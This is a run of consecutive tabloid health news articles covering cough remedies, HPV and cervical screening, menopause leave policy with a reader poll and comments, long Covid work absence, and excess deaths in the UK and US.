The action of sucking a lozenge produces lubricating secretions in the throat which reduce the irritation and dryness that worsen a cough  drinking a hot mixture of honey and lemon will have a similar effect. But this popular remedy has an added antiseptic effect (in the form of 2,4-dichlorobenzyl alcohol and amylmetacresol) that can help numb throat pain, plus menthol which evidence suggests can suppress coughs.

Bronchostop Junior Syrup

120ml, 6.99, most pharmacies.

Unlike most cough remedies, this syrup can be used from age one. It contains honey and, like most syrups, works by coating the throat, which soothes the inflamed tissues, making coughs less frequent. It contains the herb marshmallow root which has a natural anti-inflammatory ingredient, called mucilage, recognised by the European Medicines Agency as a treatment for dry coughs.

Vicks VapoRub

100g, 4.35, most pharmacies.

Try melting some in a bowl of hot water and gently inhaling for ten minutes before bed

As well as easing nasal congestion thanks to the menthol and eucalyptus, research suggests this old favourite can suppress the cough reflex for eight hours. We think this might be because it has a cooling effect on the airways when inhaled which seems to have a calming effect on the cough receptors at the back of the throat. Try melting some in a bowl of hot water and gently inhaling for ten minutes before bed.
Recently, I was diagnosed with an avoidable cancer. Avoidable had I known more about a common cancer-causing virus  and had I not been misled by a serious gap in the available information.

Since the cause of cervical cancer is a virus that is usually caught through sexual contact, I was under the impression that being in a long-term monogamous relationship (or being recently celibate) was sufficient protection. I was wrong. Unfortunately, I am not alone.

A recent study found that nearly three-quarters of women in the UK are not aware of HPV (human papillomavirus) and even more dont know that it can cause cervical cancer.

The information about HPV is very poor, says Adeola Olaitan, a consultant gynaecological oncologist and an associate professor at University College London. We are failing women.

Recently, I was diagnosed with an avoidable cancer. Avoidable had I known more about a common cancer-causing virus  and had I not been misled by a serious gap in the available information

A recent study found that nearly three-quarters of women in the UK are not aware of HPV (human papillomavirus) and even more dont know that it can cause cervical cancer

This is despite the fact that HPV infection is so common, according to the charity Jos Cervical Cancer Trust, that to get it at some point is almost normal.

There are more than 200 types of HPV. Most are harmless and a couple cause warts that are benign. The problem is the 14 high-risk HPVs that can cause cancer.

HPV-16 and HPV-18 are responsible for about three quarters of all cervical cancers, with the other 12 high-risk types accounting for almost all the rest.

Eleven to 13-year-olds (girls and boys) are now vaccinated against the types of HPV most likely to cause cancer (HPV is also linked to much rarer cancers of the vulva, penis, anus and throat). But at the moment, most women past their mid-20s dont have this protection  and around 80 per cent of those of us not vaccinated will have caught a high-risk HPV by the age of 30, says Peter Sasieni, a professor of cancer prevention at Kings College London.

When should you have test? In England, invitations for cervical screenings are sent according to a womans age: Under 25: Up to six months before the age of 25. 25-49: Every three years. 50-64: Every five years. 65 or older: Only if one of previous three tests was abnormal. Advertisement

For the vast majority, this isnt a problem. Their immune systems clear the virus within a year or two, no harm done. But in a small percentage, the HPV doesnt clear and can go on to cause cell changes that, left untreated, may become cancer. It is these pre-cancerous cells that the national cervical screening programme exists to detect (see box, top right).

Screening, until 2019, looked for changes to the cells of the cervix. Now (except in Northern Ireland, where this is coming soon), screening tests for HPV infection, with cell changes looked for only in those who test positive. As the chances of cervical cancer in the absence of HPV are extremely small, this is more accurate.

But about 30 per cent of women invited for cervical screening are not attending. A tiny fraction may not need screening (well come back to that).

The vast majority, however, are failing to go because they are too busy, afraid (of the process or the results), face cultural barriers to intimate testing or, like me, have made a conscious, rational but misguided decision on the basis of the information provided.

We are particularly concerned about women in their 40s, 50s and 60s, says a spokesperson for Jos Cervical Cancer Trust.

For while the highest rate of diagnosis is in women aged 30 to 34, these are more often early stage and curable cancers; the older age group is at greater risk of later diagnosis and hence of dying from the disease. Just 15 per cent of diagnoses, but nearly half of cervical cancer deaths, occur in women over the age of 65.

Cervical screening is the most effective cancer screening there is, says Professor Julian Peto, a cancer epidemiologist at the London School of Hygiene and Tropical Medicine.

Among women with a cervix (hysterectomy removes the cervix), there is just one group he says it would be sensible not to screen  those who have never had sex (because all screening carries the risk of false positives; in this case Professor Peto says that risk outweighs the minuscule risk of cervical cancer).

HPV-16 and HPV-18 are responsible for about three quarters of all cervical cancers, with the other 12 high-risk types accounting for almost all the rest

For everyone else, experts agree, the benefits of cervical screening outweigh its risks. Professor Sasienis research suggests screening prevents about 70 per cent of cervical cancer deaths . . . around 2,000 each year.

Low-level cell changes usually return to normal, so these cells are not removed. For mid-level changes, the decision is made case-by-case.

With high-grade cell abnormalities, the current best estimate is that 32 to 40 per cent progress to cancer  and since we cant know which will develop into cancer and which will not, all are treated, says Ms Olaitan.

Most of us would agree that we wouldnt want to be left with a one-in-three risk of cancer. Viewed the other way round, though, this means some two-thirds of those having abnormalities removed from their cervix would never have developed cancer. Overtreatment is the price of prevention.

It was in weighing this risk against the benefits that I went wrong. Id heard of HPV and had carefully read all the information sent with my screening invitation, a 12-page booklet, NHS Cervical Screening: Helping You Decide. I had used it to help me decide.

The booklet laid out the process of screening, its benefits (preventing cancer) and risks (removal of cells that might never have become cancer, with the risk of bleeding and infection and, in younger women who then get pregnant, a small increased risk of giving birth prematurely) with admirable clarity, it seemed.

What I could not know was what was missing.

I have been in the same monogamous relationship since my student days  I havent had a new partner for decades (neither has my husband). So I didnt see how I could have recently picked up HPV. This, I thought, put me at vanishingly low risk of cervical cancer. I was wrong.

People dont appreciate that the majority of HPV infections that go on to cause cervical cancer [even decades later] are actually caught before the age of 25, says Professor Peto. It is very important that this is understood.

HPV infection is usually symptomless, so it is possible to have a persistent HPV infection for years, or decades, without knowing  and at any point it can start to cause cell changes.

Just 15 per cent of diagnoses, but nearly half of cervical cancer deaths, occur in women over the age of 65

Whats more, HPV levels in the body can fluctuate, so you could test negative for HPV at one screening, only to test positive at the next, without having picked up a new infection in between.

This being so, even if youve had no sex since your last screening, or sex only with the same long-term partner, you still need to have your next smear test.

None of this was mentioned in the NHS booklet I was sent in 2016 and 2017. Nor did the NHS callers who chased me for not attending screening say anything about it, even though I told them my reason for not going.

Dr Jo Waller, a reader in cancer behavioural science at Kings College London, says there is a knowledge deficit.

I am not the only one to have fallen foul of this. Jos Cervical Cancer Trust receives regular calls from women with cervical cancer who believed their long-term relationship, or recent celibacy, protected them.

One doctor I spoke to has a patient who was widowed a decade ago. Not having had a partner since, she believed herself safe from HPV and stopped going for screening. She now has a large cervical tumour.

Having not attended screening for well over a decade, I fortunately decided to go, aged 60, for my final appointment last spring  although I was completely sure I could not have HPV.

I did not receive the up-to-date NHS booklet with my screening invitation  which, sadly, seems not that unusual (you can find it by googling NHS Cervical Cancer Screening Helping You Decide).

This booklet, unlike its predecessor, does mention HPVs ability to hide undetected for many years. However, it still does not spell out that this harmless HPV can suddenly become harmful and, decades on, cause cancer.

As the chances of cervical cancer in the absence of HPV are extremely small, this is more accurate. But about 30 per cent of women invited for cervical screening are not attending

I was still dithering as I sat in front of the nurse who was about to do the screening test. Again, I explained my relationship status. Was this test really necessary? I asked. All she said was: Its entirely up to you.

Having recently had a brush with another cancer, I decided to be sure, and went ahead  thank goodness. My results came back: HPV detected, high-grade dyskaryosis [cell abnormality], ? invasive squamous carcinoma  i.e. possible cancer  and so it proved. Luckily, it was still at an early stage.

I have since had two operations, the second a hysterectomy which has hopefully done the job.

I am now being checked every few months. If I hadnt gone . . .

Which is why I am writing this  and hoping the NHS leaflet will soon be made clearer still. The NHS assured Good Health: We review all our patient-facing information based on clinical developments and feedback from stakeholders and relevant patient groups on an ongoing basis.

With routine vaccination of pre-teens, the number of cervical cancers should fall dramatically and the need for screening will be significantly reduced.

But for those on the verge of out-maturing the screening programme, Professor Sasieni concludes: I would encourage women to get at least one cervical screening after the age of 60.

Regular screening reduces the risk of cancer over the age of 65 by 80 per cent, and even a single screen halves the risk.
Ministers have shut down a proposal to launch a specific menopause leave trial

Poll Should workplaces offer women menopause leave? Yes No Should workplaces offer women menopause leave? Yes 1233 votes

No 3501 votes Now share your opinion





Ministers have controversially rejected a proposal to trial a specific menopause leave policy for women undergoing 'the change'.

The Government also shot down another recommendation by the Women and Equalities Committee to make menopause a protected characteristic under the Equality Act.

If it had been accepted, this would have meant employers would have had to make reasonable adjustments for women hit by the crippling symptoms.

Politicians said women were being let down by the Government's 'glacial' progress in making England's workplaces menopause-friendly.

MailOnline app users can vote by clicking here.

About eight in 10 women going through menopause suffer from problems like hot flushes, night sweats, vaginal dryness, difficulty sleeping, low mood or anxiety, and forgetfulness.

The condition occurs in response to hormonal changes when a woman stops having periods.

In a report in July, the committee said the UK's lack of action on menopause support has left the economy 'haemorrhaging talent' with women quitting their jobs due to a lack of support.

It also said that the current law does not sufficiently protect women experiencing menopause and does not offer proper redress to those who suffer menopause-related discrimination.

Many women instead have to demonstrate that their menopausal symptoms amount to a disability.

But ministers outright rejected five of its recommendations in a response that was received three and a half months late.

In a letter to health minister Maria Caulfield, committee chair Caroline Nokes said the Government had 'ignored the significant evidence base' for equality law reform and called on it to review its position.

The committee had highlighted the 'low cost but high impact' of menopause-friendly workplace policies and menopause leave, which the Government has dismissed.

In the letter, the committee said it is 'extremely disappointing that the Menopause Taskforce has not met since prior to the summer recess, and that the industry roundtable on HRT supplies has been delayed a number of times'.

Though the Government said it has accepted, or partly accepted, in principle six of the recommendations, it comes under criticism from the committee for not actually committing to any new work in response to the report.

Women going through 'the change' can suffer anything from depression and anxiety to vaginal dryness and weight gain

WHAT IS THE MENOPAUSE? Menopause is when a woman stops having periods, and is no longer able to get pregnant naturally. It usually happens between the ages of 45 and 55. It is a normal part of ageing and caused by levels of the sex hormone oestrogen dropping. Some women go through this time with few, if any, symptoms. Others suffer from hot flushes, sleeping difficulties, mood swings and brain fog, which can last for months or years and might change over time. HRT replaces the hormones and is the main treatment used to treat symptoms  which can be severe and disrupt day-to-day life. Menopause happens when your ovaries stop producing as much of the hormone oestrogen and no longer release an egg each month. Advertisement

Tory MP Miss Nokes said: 'This belated response to our report is a missed opportunity to protect vast numbers of talented and experienced women from leaving the workforce, and leaves me unconvinced that menopause is a Government priority.

'For too long women have faced stigma, shame and dismissive attitudes when it comes to menopause.

'The evidence to our inquiry was crystal clear that urgent action was needed across healthcare and work settings to properly address women's needs, yet Government progress has been glacial and its response complacent.

'Its refusal to even consult on reforming equalities law doesn't make sense and we urge it to look again.'

The average age of menopause is 51, with perimenopause, often starting years earlier.

The process  triggered by the ovaries producing less oestrogen  is a natural part of ageing but eight in 10 women will experience menopausal symptoms.

Women experiencing at least one problematic menopausal symptom are 43 per cent more likely to have left their jobs by the age of 55 than those experiencing no severe symptoms, while research by BUPA shows that 900,000 women experiencing the menopause have left work.

With 4.5million women aged 50-64 currently in employment, the report emphasises the scale of the problem facing 'individuals, the economy and society'.

The original report said: 'Women of menopausal age are the fastest growing group in the workforce and are staying in work for longer than ever before.

'Yet these experienced and skilled role models often receive little support with menopause symptoms.

'As a result, some cut back their hours or responsibilities. Others leave work altogether.

'We call on the Government to lead the way for businesses by appointing a Menopause Ambassador who will champion good practice.'

Hormone replacement therapy is one way of treating the symptoms. It restores the levels of female hormones, bringing relief to hundreds of thousands of women each year.

Some workplaces already offer some flexibility, like working from home, when it comes to employees suffering from the symptoms of the menopause.

One of these is the NHS, with Amanda Pritchard, chief executive of NHS England, who said last year that 'flexible working patterns', which may include lighter duties, will be considered for women struggling with symptoms.

Ms Pritchard urged other employers to follow suit to help menopausal women 'thrive' at work.
Swathes of young people are still off work with self-reported long Covid and it is wreaking havoc on employers, an analysis suggests.

The study, published by New Yorks largest workers compensation insurer, found 71 percent of people the fund classified as experiencing long Covid were unable to work for six months or more.

Almost a fifth (18 percent) still were not back at work a full year later, according to the data that covers the first two years of the pandemic. The analysis showed that the vast majority of these employees were under 60.

That finding is curious because long Covid predominantly strikes those who are severely ill with the virus during the initial infection - typically older and vulnerable people.

The vast majority of claimants - 83 percent - were essential workers, or, workers who were on the front lines of the pandemic early on such as healthcare workers and law enforcement

Most claimants who were designated to have long covid had to undergo continuous medical treatments outside of work, which could have affected productivity and employers' bottom lines

The report from The New York State Insurance Fund said: Long Covid is a public health crisis emerging from the Covid-19 pandemic. Like a pebble thrown into a pond, its impact ripples across all aspects of life in ways not yet fully understood.

As long Covid continues to plague the American workforce, a team of researchers at Stanford University are set to test Pfizers landmark antiviral Paxlovid as a viable treatment for the condition.

Long covid is a condition that includes a wide range of symptoms such as shortness of breath, brain fog and fatigue, and depression that linger for weeks or even years after recuperating from the virus.

There is still serious debate about the true scale and severity of the condition, with several studies indicating that people who develop the condition would have suffered those common symptoms regardless of whether they got Covid or not.

The extent of long covid sufferers is murky, but the Centers for Disease Control and Prevention estimates that one in 13 US adults, or 7.5 percent, have long covid, defined as symptoms lasting three or more months after first contracting the virus.

In some instances, the condition was deadly. The CDC reported late last year that more than 3,500 Americans have died of a long-covid-related condition in the first two and a half years of the pandemic. Most of the documented deaths occurred in older adults, with those aged between 75 and 84 years old accounting for almost 30 percent of the deaths.

Today's New York State Insurance Fund report looked at more than 3,100 workers comp claims paid out to employees between 2020 and 2022.

Researchers analyzed Covid-related claims filed between Jan. 1, 2020, and March 31, 2022, specifically those made by employees determined to have been infected while at work.

Over a year after contracting Covid, over 18 percent of workers who submitted covid claims still had not returned to work, according to the boards report.

The vast majority of them  78 percent  are under 60. And nearly three-quarters of claimants with long covid suffered symptoms that required treatment or kept them out of work for six months or more.

The report said: The implications are far-reaching. Those who cannot return to work lose their income and employer-provided health insurance, and the longer a claimant stays out of work, the less likely they are to return.

Being inexplicably sick and not working over a long span can stigmatize patients and be highly disruptive to their family and professional lives.

The sum paid out to long covid patients was staggering. Of the total $20million spent on covid-related workers comp claims, a total $17million was paid for the 977 people the fund designated as having long Covid.

Disruptions to the workforce were commonplace during the pandemics first year of tearing across the US.

The public relied heavily on essential workers, including those in healthcare, law enforcement, and security services, so it should come as no surprise that over 80 percent of Covid-related claims were submitted by those workers on the front lines. A substantial 29 percent of workers whose claims were approved were found to have long-covid.

Long covid has become an umbrella term for a wide variety of health issues that continue to plague a person for weeks, months, or years after recuperating from the virus.

Scientists have only recently begun to get a handle on the long-term health effects of the coronavirus, which has cost people more than just money.

Efforts to beat back Covid caused economic upheaval in 2020 through much of 2021. New York was an early epicenter of the virus in 2020 resulting in mass work absences due to illness or because other needs cropped up such as finding childcare.

Though New York and other states have systems in place to protect people injured on the job, they are not immune to fraudulent activity.

Last year, New York State Inspector General Lucy Lang arrested a Staten Island man who was found guilty on 16 felony counts and seven midemeanor counts for grand larceny, insurance fraud, forgery, falsifying business records and workers' compensation fraud.

Twenty-three year old Ajani Shaw was found guilty of submitting fake covid test results for five months to get workers' compensation benefits.

A workers claim was fulfilled if the worker had a positive test and after a review board determined that the worker most likely was exposed to the virus on the job.

A case was regarded to be long Covid if, post-infection, a patient required medical treatment for 60 days or more or was absent 60 or more days from work.
In other workplace wellbeing news: Stressed at work? Try sniffing ROSE OIL

Comes as MPs suggesting a leave trial had their policy rejected by ministers

Seven out of 10 MailOnline readers agree with No10 rejecting trials of menopause leave.

Time-off for women affected by 'the change' was one recommendation put forward by the Women and Equalities Committee. But it was shot down by ministers.

Downing Street also dismissed calls to make menopause a protected characteristic under the Equality Act, to shield women from any discrimination in the workplace.

In a letter explaining its reasoning, the Government said it was concerned that such a move could end up being discriminatory towards men.

70% of readers said women should not get specific menopause leave from work. Results are based on a poll with 2,803 votes as of 3pm

WHAT IS THE MENOPAUSE? Menopause is when a woman stops having periods, and is no longer able to get pregnant naturally. It usually happens between the ages of 45 and 55. It is a normal part of ageing and caused by levels of the sex hormone oestrogen dropping. Some women go through this time with few, if any, symptoms. Others suffer from hot flushes, sleeping difficulties, mood swings and brain fog, which can last for months or years and might change over time. HRT replaces the hormones and is the main treatment used to treat symptoms  which can be severe and disrupt day-to-day life. Menopause happens when your ovaries stop producing as much of the hormone oestrogen and no longer release an egg each month. Advertisement

'Given the importance of this legislation it is important to ensure that the policy is considered in the round to avoid unintended consequences which may inadvertently create new forms of discrimination, for example, discrimination risks towards men suffering from long-term medical conditions,' the letter read.

In a report published in July, the committee said the UK's lack of action on menopause support has left the economy 'haemorrhaging talent', with women quitting their jobs due to a lack of support.

The MPs also said that the current law does not sufficiently protect women experiencing menopause and does not offer proper redress to those who suffer menopause-related discrimination.

Many women instead must demonstrate that their menopausal symptoms amount to a disability.

About eight in 10 women going through menopause suffer from problems like hot flushes, night sweats, vaginal dryness, difficulty sleeping, low mood or anxiety, and forgetfulness.

Menopause occurs in response to hormonal changes when a woman stops having periods, and usually happens between the ages of 45 and 55.

The process  triggered by the ovaries producing less oestrogen  is a natural part of ageing but eight in 10 women will experience menopausal symptoms.

Women experiencing at least one problematic menopausal symptom are 43 per cent more likely to have left their jobs by the age of 55 than those experiencing no severe symptoms, while research by BUPA shows that 900,000 women experiencing the menopause have left work.

Women going through 'the change' can suffer anything from depression and anxiety to vaginal dryness and weight gain

With 4.5million women aged 50-64 currently in employment, the report emphasised the scale of the problem facing 'individuals, the economy and society'.

The original report said: 'Women of menopausal age are the fastest growing group in the workforce and are staying in work for longer than ever before.

But ministers outright rejected five of its recommendations in a response that was received three and a half months late.

MailOnline readers also rejected the prospect of specific menopause leave, with 70 per cent of the 2,803 votes cast as of 3pm today being against the prospect.

Some of the comments cited equality with men as the reason, while others pointed out older women managed to get through the menopause without additional support.

So, do you agree with the 20 best-rated comments?

I think perhaps a little understanding from colleagues and bosses is all that's necessary for those times when one must step away for a moment. StopCensoringMe, Was there now here, United Kingdom

You want equality - then deal with it. Sydney, Australia

Women have been going through the menopause since time immemorial and just got on with it, is wrong with them today? POmpey person, Portsmouth, United Kingdom

Not all women suffer with menopause symptoms bad enough to need time off work, i know some do but many women are quite capable of carrying on as normal. Treatment is available now which we didn't have before and that helps. Will those working harder to cover for those off work also get extra time off? Fluffyrock, Somewhere, United Kingdom

I am suffering from menopause however going to work helps as l am getting out and it takes my mind off what l'm going though InnesP, Scotland, United Kingdom

They will become unemployable if they are not careful Aero1962, Ayr, United Kingdom

The symptoms go on for years. Like most women, I just got on with it. Maternity leave, period leave and menopause leave will make women unemployable. It makes more sense to employ men. Theoaktree, The village, United Kingdom

No we older women dealt with it without complaining . A hint of discomfort and people can't handle it. I had an awful menopause but I just got on with it loonylin, Surrey, United Kingdom

Anyone would think the menopause had just been invented. I speak as a woman who had a surgically induced menopause in my thirties. Plainspeaker1, UK, United Kingdom

Why is the menopause such an issue all of a sudden? Women have got on with it since time began. Just for the record I am a sixty year old woman. Cottage01, Leeds, United Kingdom

I am a woman of menopause age. I disagree with leave. The menopause can go on for years it's just not practical. There is the choice of HRT to manage symptoms should women choose to take it. fishkeeper, Canterbury, United Kingdom

All women are different.My wife sailed through the menopause and was so much more at peace no longer suffering the horrendous PMT which she said was far worse for her. David-Ian, The Shires, United Kingdom

Women want time off for menopause, now they, younger females, want time off during periods, why the hell would any small, private business employ women? And how many would take advantage of this leave? Hazard a guess. Hereford, Plymouth, United Kingdom

No. I'm a 57 year old woman. I've worked constantly since I was 15, and raised my son single-handedly. I do not expect special treatment and expect to work as hard as male colleagues who don't get free time off. Especially if it risks employers employing woman of a certain age. I've just landed my dream job in a company I plan to stay with until I stop working at 70 (all being well). WorkingGirly, London, United Kingdom

I've heard it all now. This is why I won't employ women. Always wanting time off. MuzzleExempt, UK, United Kingdom

No, of course not. Menopause goes on and on for many years - it would make women unemployable! KB001, Plymouth, United Kingdom

No, just absolutely a no from a concerned woman. A regular person, Liverpool, United Kingdom

Just deal with it like women have in the past. Stop playing the victim. Concentric, East Midlands, United Kingdom

Thought women wanted to be treated and paid equally? tax-payer and voter, Britain, United Kingdom

I'm a 51-year-old woman who has suffered around 28 crippling symptoms in perimenopause. At points, I wanted to die it was that bad. I've been on HRT for 3 years now, and life is great again. I still get a few off days, but I have always worked and do not agree with " Menopause Leave." How ridiculous Nicenails, Bristol, United Kingdom
MPs have called for an urgent investigation into Britain's soaring death rates as thousands more people than usual are dying each week.

Some 17,381 deaths were registered in England and Wales in the seven days to January 13  2,837 above average for the time of year.

This is the highest number of excess deaths since 3,429 in the week to February 12, 2021, when the UK was experiencing its second wave of Covid-19 infections and vaccination had only just begun.

On that occasion, deaths involving coronavirus accounted for 37 per cent of all those registered, according to the Office for National Statistics.

Some 17,381 deaths were registered in England and Wales in the seven days to January 13  2,837 above average for the time of year. This is the highest number of excess deaths since 3,429 in the week to February 12, 2021, when the UK was experiencing its second wave of Covid-19 infections and vaccination had only just begun

NHS England data shows that ambulance handover delays have fallen to their lowest level this winter. Less than one in four (23 per cent) ambulance patients waited 30 minutes or longer last week before be handed to A&E teams, down from 36 per cent one week earlier (red line)

The graph shows the average response times for each category of 999 calls across 11 parts of England. The South West logged the slowest response time for both category one and category two calls, taking 13 minutes and 11 seconds and 2 hours and 29 minutes on average, respectively

NHS ambulance data for December shows that 999 callers classed as category two  which includes heart attacks, strokes, burns and epilepsy  waited 1 hour, 32 minutes and 54 seconds, on average, for paramedics to arrive (shown in red bar). This is five-times longer than the 18 minute target (shown in green line). This is despite category 2 cases falling slightly to 368,042 (shown in yellow bar)

NHS A&E data for December shows that a record 54,532 people seeking emergency care were forced to wait at least 12 hours (yellow bar). Meanwhile, just 65 per cent of A&E attendees were seen within four hours (red line)  the NHS target

The graph shows the number of ambulances sent out by NHS 111 each month (green bars) and the number of calls answered by the service (red line). Staff and patients say the 111 service is unnecessarily sending out ambulances for illnesses that are minor and not in need of urgent care

Conservative former minister Esther McVey asked for an 'urgent and thorough investigation' into the excess deaths

Charities attack Government plans for single strategy to tackle major illnesses Charities have criticised Government plans to create a single strategy to tackle major illnesses such as cancer, mental health and dementia. Health Secretary Steve Barclay said on Tuesday that the Department of Health and Social Care will develop a 'major conditions strategy' to combine existing Government commitments on mental health, cancer, dementia and health disparities 'into a single, powerful strategy'. However, the YoungMinds charity said it was concerned by the move, which would scrap a 10-year mental health plan promised last year. Macmillan Cancer Support said a 10-year cancer plan, also promised by ministers, had 'been discarded', while the CatchUpWithCancer campaign said it was 'deeply concerned'. The Alzheimer's Society said people were still waiting for the promised 10-year strategy on dementia, warning its aims risked being lost in a broader strategy. In a written statement, Mr Barclay said the new plan would cover cancer, cardiovascular diseases (including stroke and diabetes), chronic respiratory diseases, dementia, mental ill health and musculoskeletal disorders. He said tackling these areas 'is critical to achieving our manifesto commitment of gaining five extra years of healthy life expectancy by 2035, and our levelling up mission to narrow the gap in healthy life expectancy by 2030'. Mr Barclay added: 'Our approach will harness the potential of whole person care, addressing the fact that our health and care system has been built in silos, often focused around specific diseases or organs in the body.' He said the NHS needs to adapt and reflect that 'the NHS is caring for patients with increasingly complex needs and with multiple long-term conditions.' Advertisement

But in the most recent week, Covid-19 accounted for just 5 per cent of the total  meaning other factors are likely to be driving the high level of mortality.

Health experts say this could include ambulance delays, long waits in A&E, unmet need during the pandemic and major backlogs for routine NHS care.

Excess deaths, sometimes known as extra deaths, are the number of deaths that are above the average for the same period in previous years.

This winter has seen a sharp spike in the figures, with deaths 21 per cent and 20 per cent above average in the last two weeks of December, followed by 14 per cent and 20 per cent in the first two weeks of January.

The Royal College of Emergency Medicine has warned up to 500 people a week are dying as a result of ambulance and treatment delays.

Labour's shadow public health minister Andrew Gwynne on Tuesday accused the government of 'denial and buck-passing' and branded Steve Barclay 'part-man, part-ostrich' because of his refusal to accept the figures.

Speaking during health questions in the Commons, Mr Gwynne said: 'There were 50,000 more deaths than we would have otherwise expected in 2022.

'Excluding the pandemic, that is the worst figure since 1951.

'The Health Secretary  part-man, part-ostrich  says he doesn't accept those figures, but as many as 500 people are dying every week waiting for essential care and we're still getting the same old Tory denial and buck-passing.'

Health minister Maria Caulfield replied: 'Well I prefer to deal with factsThe BMJ has ranked the UK mid-table in Europe for mortality figures, comparable with Italy.

'In fact, Germany has got higher excess deaths at 15.6 per cent, Finland at 20.5 per cent and Poland at 13.3 per cent.'

She said there are 'clinical reasons for excess deaths, not political ones, and perhaps he needs to recognise that fact'.

Conservative former minister Esther McVey asked for an 'urgent and thorough investigation' into the excess deaths.

She told the Commons: 'The Chief Medical Officer recently warned that current non-Covid excess deaths is being driven in part by patients not getting statins or blood pressure medicines during the pandemic.

'But when looking at the data on statins on openprescribing.net, which is based on monthly NHS prescribing, there appears not to be a drop.

'So where is the evidence? And if there isn't one, what is causing these excess deaths?

'Will the minister commit to an urgent and thorough investigation on the matter?'

Miss Caulfield replied: 'We are seeing an increase in excess deaths in this country but we're also seeing that in Wales, in Scotland, in Northern Ireland and across Europe, and there are a range of factors.

'There's an increase as we saw in December in the number of people being admitted with flu, with Covid and with other healthcare conditions, and this is not something just seen in this country but across Europe as well.'

The latest data shows deaths involving flu and pneumonia accounted for nearly a quarter (24 per cent) of all of those registered in England and Wales in the first two weeks of the year.

Deaths where flu and pneumonia were recorded as the underlying cause of death accounted for 9 per cent of registrations in the week to January 6 and 8 per cent in the latest week  levels not seen since before the pandemic.

The number of flu patients taking up hospital beds has been trending downwards for a fortnight after peaking at 5,779 on January 2. Latest data, for the week to January 15, shows 3,447 people infected with influenza were in hospital per day, on average, last week. The figure is 35 per cent lower than the 5,262 figure one week earlier

Around 7.2million patients in England were stuck in the backlog in November (red line) or one in eight people. More than 400,000 have queued for at least one year (yellow bars)

Addressing the Commons Health and Social Care Committee earlier in the day, RCEM president Dr Adrian Boyle defended his college's claim that delays to emergency care are killing hundreds of people a week.

He added: 'We've certainly had the worst ever December we've had  if you look at performance figures on every metric, what went on in in December was terrible.

'We've got serious structural problems that impair our ability to deliver urgent and emergency care.

'Things have been going wrong for quite a long time and came to a head over December.'

Data from NHS England show that a record 54,532 people waited more than 12 hours in A&E departments last month from a decision to admit to actually being admitted.

But Dr Boyle said that some of these patients could have been waiting hours before a decision was made to admit them.

The figures also show that the proportion of patients seen within four hours in England's A&Es fell to a record low of 65 per cent in December.

Dr Boyle called for improvements to NHS 111 to prevent unnecessary A&E visits, and for hospitals to share the burden of an influx of patients by admitting more onto wards  instead of leaving crowds of people in emergency departments for hours on end.

He said more must be done to stop the 'haemorrhage' of emergency care nurses, saying that he signed a leaving card every time he went to work.

Dr Boyle said too many patients are arriving at A&E when they do not need to be there, with some turning up because they cannot GP and others referred by overcautious call takers on the non-emergency NHS 111 help line.

He said doctors or nurses should have a greater role in triaging callers to the service, adding: 'There is a lack of clinical validation and a lack of clinical access within NHS 111.

'50% of calls to NHS 111 have some form of clinical input.

'There's an awful lot which are just people following an algorithm and because of that, where you have call handlers who are just following a computer generated algorithm, they are necessarily risk averse.

'We know there's good evidence if you get clinicians involved with NHS 111 you can reduce the number of of people who are either directed to an ambulance, to a GP or to an emergency department.'
Advertisement

Poll Do you think lockdowns and mask mandates were effective? Yes No Do you think lockdowns and mask mandates were effective? Yes 61 votes

No 456 votes Now share your opinion





The US has suffered nearly 300,000 more deaths than usual in more than two years of the pandemic that cannot be attributed to Covid, with researchers blaming lockdowns and delays to healthcare.

Latest official data shows there were 1.26million excess deaths between February 2020 and the end of 2022, of which around 295,000 did not have Covid as their main cause of death on their death certificates.

These are thought to be mostly made up of surges in deaths from cancer, heart disease, drug overdoses and firearms during the pandemic, however, a full analysis by the Centers for Disease Control and Prevention (CDC) is still likely weeks away.

Dr Coady Wing, a health policy expert from Indiana University, told DailyMail.com that these pandemic mandates kept people who needed care the most away from the doctor's office - potentially costing thousands of lives.

The official death toll due to Covid-19 per the CDC is nearly 1.1 million, but that does not include associated deaths such as fatal overdoses during lockdowns

The United States (yellow) has suffered a larger increase in deaths than many other nations, including Sweden (blue), which famously opted against Covid lockdown measures. The country has suffered a 14 percent increase in deaths over the past three years when compared to the average number of expected deaths calculated from previous years. For comparison, Sweden recorded a five percent increase, while the UK (green) had a 10 percent jump

Its a hard question to decide how many lives were saved by the shutdowns themselves,' Dr Wing told DailyMail.com.

'What were finding is that some of the things people did to avoid Covid risk, one of those things was to cut down of regular health care utilization, and that had health consequences.

As a result, they either had their condition deteriorate or had diseases that could have been caught instead go unnoticed until they fell more ill.

He also noted that those most likely to cancel appointments were likely the sickest - further exacerbating their health issues. 'Cutting back care for Covid sensitive groups was bad for their health,' Dr Wing continued.

Data from nearly every country that instituted lockdowns in Spring 2020 shows a stark increase in deaths from other causes such as heart disease, cancer, and other common ailments.

Leading experts in the UK have suggested that up to 3,000 Britons are dying each week because of the disruptions to everyday life caused by the country's strict lockdowns, for example. The nation logged 2,837 excess deaths during the week ending on January 13, with only five percent being attributable to Covid.

Some experts believe the recent increase in other causes of death around Britain would have been avoided without the strict lockdowns.

Dr Coady Wing (pictured), a health policy expert from Indiana University, said it is hard to determine how many lives the lockdown actually saved

According to the CDC, the United States has suffered 1,265,751 excess deaths between February 1, 2020 and December 31, 2022.

Unlike the UK and European countries, the US never entered a national lockdown; instead, the federal government left pandemic decisions to state, county and city-level officials.

While some states, such as California and New York, enacted strict mandates, others, such as Florida and Texas, avoided state-level orders altogether.

Even after many of these orders were dropped, many clinics shifted primarily to telehealth services rather than in-person doctor visits to keep people from healthcare and prevent the virus from spreading among the most vulnerable.

Both out of fear of the virus and to avoid over-burdening healthcare systems, many Americans also decided to put off visits to the doctor themselves. This combined to cause a surge of deaths during the pandemic caused by factors outside of the virus.

The CDC reports a five percent rise in cancer deaths in 2020, and a 2021 study found that cancer cases are now being detected later than usual in America - increasing the mortality risk of each case.

A study published last year by researchers at the Dartmouth Institute, in New Hampshire, found a 22 percent increase in Alzheimer's death in the pandemic's first year.

In a 2022 study, CDC researchers found that heart disease deaths increased by four percent in 2020, representing 'about five years of lost progress' in the fight against America's leading killer, agency researchers wrote.

Deaths from drug overdoses increased too, with the nation recording a record 108,000 overdose fatalities in 2021. This is a 15 percent increase from the previous all-time high count in 2020.

While disruptions to medical treatment could play a role in these deaths, the prevalence of highly potent - and deadly - fentanyl is likely partially responsible for the surge as well.

In October, Dr Engy Ziedan, an economist from Tulane University in New Orleans, Louisiana, and Dr Wing published research looking into how these lockdowns impacted death figures.

